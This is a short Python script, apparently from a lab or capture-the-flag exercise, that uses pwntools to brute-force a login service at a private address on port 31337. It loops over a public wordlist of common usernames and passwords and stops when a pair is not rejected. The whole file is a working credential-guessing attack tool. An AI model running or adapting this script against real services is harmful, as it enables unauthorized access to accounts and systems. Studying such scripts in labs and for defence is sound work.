connect.py

#!/usr/bin/env python3

from pwn import *
import sys

host, port = '192.168.171.102', 31337

# https://raw.githubusercontent.com/shipcod3/Piata-Common-Usernames-and-Passwords/master/userpass.txt

with open('userpass.txt') as f:
    data = f.readlines()

for creds in data:
    (username, password) = creds.split(' ')
    username = username.strip()
    password = password.strip()

    s = remote(host, port, level='error')
    
    s.recvuntil('username> ')
    s.sendline(username)
    s.recvuntil('password> ')
    s.sendline(password)

    msg = s.recvline()
    if b'authentication failed' not in msg:
        print("[+] Valid credentials found: {}:{}".format(username, password))
        sys.exit(0)

    s.close()